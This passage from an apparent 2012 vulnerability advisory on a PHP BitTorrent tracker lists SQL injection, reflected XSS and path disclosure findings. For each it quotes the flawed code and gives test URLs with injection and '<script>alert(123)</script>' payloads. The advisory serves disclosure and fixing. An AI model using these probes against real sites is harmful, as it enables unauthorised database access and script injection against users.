$db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `status` =

'".$newstatus."' WHERE `id` =".$id." LIMIT 1 ;");

------------------------[ source code end ]------------------------------------

Tests:

http://pmbt/takehelpans.php?reopen=1&id=waraxe

http://pmbt/takehelpans.php?change_status=1&newstatus=war'axe

###############################################################################

23. SQL Injection in "takeoffedit.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameters "id" and "category"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "takeoffedit.php" line 35:

------------------------[ source code start ]----------------------------------

$id = $_POST["id"];

...

$cat = $_POST["category"];

...

$sql = "UPDATE ".$db_prefix."_offers SET category='".$cat."',

name='".$db->sql_escape($name)."', descr='".$db->sql_escape($msg)."'

where id='".$id."'";

$db->sql_query($sql)or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe', name='', descr=''

where id='1'' at line 1

###############################################################################

24. SQL Injection in "takerequest.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied POST parameter "requesttitle"

Preconditions:

1. magic_quotes_gpc=off

Result: attacker can manipulate database queries

PHP script "takerequest.php" line 36:

------------------------[ source code start ]----------------------------------

$requesttitle = $_POST["requesttitle"];

$request = $requesttitle;

...

$db->sql_query("INSERT INTO ".$db_prefix."_requests (hits,userid, cat, request,

descr, added) VALUES(1, '".$user->id."', '".$cat."', '" . $request . "',

'".$msg."', NOW())")or die(mysql_error());

------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

Result:

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near 'axe', '', NOW())' at

line 1

###############################################################################

25. SQL Injection in "takethankyou.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied parameter "id"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "takethankyou.php" line 36:

------------------------[ source code start ]----------------------------------

$res = $db->sql_query("SELECT id FROM ".$db_prefix."_torrents WHERE id = $id");

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/takethankyou.php?id=waraxe

###############################################################################

26. SQL Injection in "torrents.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "type"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "torrents.php" line 89:

------------------------[ source code start ]----------------------------------

$sort = (isset($_GET["sort"])) ? $_GET["sort"] : '';

$type = (isset($_GET["type"])) ? $_GET["type"] : '';

...

if ($sort == 1) $orderby = " ORDER BY ".$db_prefix."_torrents.name $type, ";

...

$sql = "SELECT ".$db_prefix."_torrents.*, IF(".$db_prefix."_torrents.numratings

...

".$db_prefix."_torrents.owner = U.id WHERE ".$viswhere.$catwhere.$passwhere.

$orderby.$db_prefix."_torrents.added DESC LIMIT ".$from.",

".$torrent_per_page.";";

$res = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/torrents.php?sort=1&type=waraxe

Result:

You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right syntax to use near 'waraxe,

torrent_torrents.added DESC LIMIT 0,10' at line 1

###############################################################################

27. SQL Injection in "viewsnatches.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "id"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "viewsnatches.php" line 115:

------------------------[ source code start ]----------------------------------

$sql = ("select count(".$db_prefix."_snatched.id) from ".$db_prefix."_snatched

inner join ".$db_prefix."_users on ".$db_prefix."_snatched.userid =

".$db_prefix."_users.id inner join ".$db_prefix."_torrents on

".$db_prefix."_snatched.torrentid = ".$db_prefix."_torrents.id WHERE

".$db_prefix."_snatched.torrentid =". $_GET[id]) or die(mysql_error());

$res3 = $db->sql_query($sql) or btsqlerror($sql);

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/viewsnatches.php?id=waraxe

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

28. SQL Injection in "votesview.php"

###############################################################################

Reason: insufficient sanitization of user-supplied data

Attack vector: user-supplied GET parameter "requestid"

Preconditions: none

Result: attacker can manipulate database queries

PHP script "votesview.php" line 35:

------------------------[ source code start ]----------------------------------

$requestid = $_GET[requestid];

$res2 = $db->sql_query("select count(".$db_prefix."_addedrequests.id) from

".$db_prefix."_addedrequests inner join ".$db_prefix."_users on

".$db_prefix."_addedrequests.userid = ".$db_prefix."_users.id inner join

".$db_prefix."_requests on ".$db_prefix."_addedrequests.requestid =

".$db_prefix."_requests.id WHERE ".$db_prefix."_addedrequests.requestid

=$requestid") or print(mysql_error());;

------------------------[ source code end ]------------------------------------

Test:

http://pmbt/votesview.php?requestid=waraxe

Result:

Unknown column 'waraxe' in 'where clause'

###############################################################################

29. Reflected XSS in "ban.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "reson"

Preconditions: none

Test:

http://pmbt/ban.php?reson=<script>alert(123);</script>

###############################################################################

30. Reflected XSS in "bbcode.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied POST parameter "test"

Preconditions: none

Test:

-------------------------[ test code start ]-----------------------------------

<input type="hidden" name="test" value="<script>alert(123);</script>">

</form>

</center></body></html>

--------------------------[ test code end ]------------------------------------

###############################################################################

31. Reflected XSS in "contactstaff.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied GET parameter "returnto"

Preconditions: none

Test:

http://pmbt/contactstaff.php?returnto="><script>alert(123);</script>

###############################################################################

32. Reflected XSS in "faq.php"

###############################################################################

Reason: uninitialized variable "$faq_categ"

Attack vector: user-supplied parameter "faq_categ"

Preconditions: none

Test:

http://pmbt/faq.php?faq_categ[0][title]=<script>alert(123);</script>

&faq_categ[0][flag]=1

###############################################################################

33. Reflected XSS in "keno.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameters "n1","n2","n3","n4","n5","n6","n7",

"n8","n9","n10","n11","n12","n13","n14","n15","n16","n17","n18","n19","n20"

Preconditions: none

Test:

http://pmbt/keno.php?n1="><script>alert(123);</script>

http://pmbt/keno.php?n20="><script>alert(123);</script>

###############################################################################

34. Reflected XSS in "makepoll.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameters "returnto" and "poll"

Preconditions: none

Test:

http://pmbt/makepoll.php?returnto=><script>alert(123);</script>

http://pmbt/makepoll.php?poll[id]=><script>alert(123);</script>

###############################################################################

35. Reflected XSS in "modrules.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "res"

Preconditions: none

Test:

http://pmbt/modrules.php?act=newsect&

res[text]=</textarea><script>alert(123);</script>

###############################################################################

36. Reflected XSS in "polls.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameters "pollid" and "returnto"

Preconditions: none

Test:

http://pmbt/polls.php?action=delete&pollid=><script>alert(123);</script>

http://pmbt/polls.php?action=delete&returnto=><script>alert(123);</script>

###############################################################################

37. Reflected XSS in "popuptest.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "text"

Preconditions: none

Test:

http://pmbt/popuptest.php?text=<script>alert(123);</script>

###############################################################################

38. Reflected XSS in "redirect.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "url"

Preconditions: none

Test:

http://pmbt/redirect.php?url='><script>alert(123);</script>

###############################################################################

39. Reflected XSS in "search.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "search"

Preconditions: none

Test:

http://pmbt/search.php?search="><script>alert(123);</script>

###############################################################################

40. Reflected XSS in "user.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameter "returnto"

Preconditions: none

Test:

http://pmbt/user.php?op=loginconfirm&returnto="><script>alert(123);</script>

###############################################################################

41. Reflected XSS in "ajax.php"

###############################################################################

Reason: insufficient sanitization of html output

Attack vector: user-supplied parameters "torrent", "password", "browsemenu",

"pagemenu" and "torrentrating"

Preconditions: none

Tests:

http://pmbt/ajax.php?op=view_coments_page&torrent="></iframe><script>alert(123);</script>

http://pmbt/ajax.php?op=view_coments_page&password="></iframe><script>alert(123);</script>

http://pmbt/ajax.php?op=view_details_page&torrent=><script>alert(123);</script>

http://pmbt/ajax.php?op=view_details&torrent=><script>alert(123);</script>

http://pmbt/ajax.php?op=member_search&search=z&browsemenu=<script>alert(123);</script>

http://pmbt/ajax.php?op=member_search&search=z&pagemenu=<script>alert(123);</script>

http://pmbt/ajax.php?op=view_rate_page&torrentrating=<script>alert(123);</script>

###############################################################################

42. Full Path Disclosure in multiple scripts

###############################################################################

Tests:

http://pmbt/actb.php

Fatal error: Call to a member function sql_query() on a non-object

in C:\apache2www\actb.php on line 47

http://pmbt/findnotconnectable.php?action=sendpm

Fatal error: Call to undefined function stdhead()

in C:\apache2www\findnotconnectable.php on line 58

http://pmbt/torrents-needseed.php

Fatal error: Call to a member function sql_query() on a non-object

in C:\apache2www\torrents-needseed.php on line 35

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com

Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html

Personal homepage: http://www.janekvind.com/

Random project: http://albumnow.com/

---------------------------------- [ EOF ] ------------------------------------

作者: waraxe
日期: 2012-10-04
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection